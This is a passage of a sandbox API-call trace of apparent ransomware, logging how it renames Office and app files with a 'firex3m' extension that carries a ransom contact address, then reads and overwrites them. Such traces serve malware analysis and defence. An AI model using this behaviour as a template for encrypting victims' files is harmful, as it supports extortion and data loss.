hFile=0x5ec, lpBuffer=0x666188, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666188*, lpNumberOfBytesRead=0x587ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.431] GetProcessHeap () returned 0x630000 [0236.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0236.431] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.431] WriteFile (in: hFile=0x5ec, lpBuffer=0x665f20*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665f20*, lpNumberOfBytesWritten=0x587ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.431] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.431] WriteFile (in: hFile=0x5ec, lpBuffer=0x66613f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66613f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.431] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.432] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.432] CloseHandle (hObject=0x5ec) returned 1 [0236.432] GetProcessHeap () returned 0x630000 [0236.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665f20 | out: hHeap=0x630000) returned 1 [0236.432] GetProcessHeap () returned 0x630000 [0236.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666188 | out: hHeap=0x630000) returned 1 [0236.432] GetProcessHeap () returned 0x630000 [0236.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0236.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52dea869, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x587fd20, dwReserved1=0x666188, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0236.432] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.432] Sleep (dwMilliseconds=0x1) [0236.438] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe", len=0x68 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe") returned 1 [0236.438] GetProcessHeap () returned 0x630000 [0236.438] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f28) returned 0x6fe3bb0 [0236.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\filecompare.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0236.441] CloseHandle (hObject=0x5ec) returned 1 [0236.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\filecompare.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5259176, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b6c0, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FILECO~1.FIR")) returned 0x6d54c0 [0236.445] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0236.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0236.445] GetProcessHeap () returned 0x630000 [0236.445] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0236.445] GetProcessHeap () returned 0x630000 [0236.445] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0236.445] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.445] ReadFile (in: hFile=0x5ec, lpBuffer=0x70234e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.902] GetProcessHeap () returned 0x630000 [0243.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b810 [0243.902] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.902] WriteFile (in: hFile=0x5ec, lpBuffer=0x702e910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.903] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.903] WriteFile (in: hFile=0x5ec, lpBuffer=0x7039d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d0f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.958] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.958] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.958] CloseHandle (hObject=0x5ec) returned 1 [0243.958] GetProcessHeap () returned 0x630000 [0243.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0243.965] GetProcessHeap () returned 0x630000 [0243.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0243.966] GetProcessHeap () returned 0x630000 [0243.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b810 | out: hHeap=0x630000) returned 1 [0243.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x575cb545, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3b6e4, dwReserved0=0xaa87496, dwReserved1=0x70234d8, cFileName="filecompare.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FILECO~1.FIR")) returned 0x6d5040 [0243.967] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0243.967] Sleep (dwMilliseconds=0x1) [0243.973] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl", len=0x77 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl") returned 1 [0243.974] GetProcessHeap () returned 0x630000 [0243.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea4) returned 0x6fe3bb0 [0243.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0243.977] CloseHandle (hObject=0x6c0) returned 1 [0243.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d54c0 [0243.980] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0243.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0243.980] GetProcessHeap () returned 0x630000 [0243.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x72c02d0 [0243.981] GetProcessHeap () returned 0x630000 [0243.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x73da3d8 [0243.981] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.981] ReadFile (in: hFile=0x6c0, lpBuffer=0x72c02d0, nNumberOfBytesToRead=0x49a0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c02d0*, lpNumberOfBytesRead=0x587ff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0247.579] GetProcessHeap () returned 0x630000 [0247.579] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0247.579] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.579] WriteFile (in: hFile=0x6c0, lpBuffer=0x73da3d8*, nNumberOfBytesToWrite=0x49a0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesWritten=0x587ff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0247.579] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.579] WriteFile (in: hFile=0x6c0, lpBuffer=0x73ded77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ded77*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.579] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.580] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.580] CloseHandle (hObject=0x6c0) returned 1 [0247.580] GetProcessHeap () returned 0x630000 [0247.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0249.012] GetProcessHeap () returned 0x630000 [0249.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c02d0 | out: hHeap=0x630000) returned 1 [0249.012] GetProcessHeap () returned 0x630000 [0249.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0249.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59849fc8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49de, dwReserved0=0xaa87496, dwReserved1=0x72c02c8, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d4f80 [0249.148] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0249.148] Sleep (dwMilliseconds=0x1) [0249.155] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml", len=0x9e | out: pbstr=0x587ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml") returned 1 [0249.155] GetProcessHeap () returned 0x630000 [0249.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e84) returned 0x6fe3bb0 [0249.155] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\foodanddrink.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.155] Sleep (dwMilliseconds=0x1) [0249.233] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileLargeSquare.scale-100.png", len=0x83 | out: pbstr=0x587ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileLargeSquare.scale-100.png") returned 1 [0249.233] GetProcessHeap () returned 0x630000 [0249.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0249.234] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.234] Sleep (dwMilliseconds=0x1) [0249.253] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-16.png", len=0x81 | out: pbstr=0x587ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-16.png") returned 1 [0249.253] GetProcessHeap () returned 0x630000 [0249.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0249.253] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.253] Sleep (dwMilliseconds=0x1) [0249.266] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-256.png", len=0x91 | out: pbstr=0x587ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-256.png") returned 1 [0249.266] GetProcessHeap () returned 0x630000 [0249.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0249.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.267] Sleep (dwMilliseconds=0x1) [0249.291] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG", len=0x6d | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG") returned 1 [0249.291] GetProcessHeap () returned 0x630000 [0249.291] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df0) returned 0x6fe3bb0 [0249.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0249.523] CloseHandle (hObject=0x6c0) returned 1 [0249.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0249.524] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0249.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0249.525] GetProcessHeap () returned 0x630000 [0249.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa5e1) returned 0x6f93060 [0249.525] GetProcessHeap () returned 0x630000 [0249.525] RtlAllocateHeap 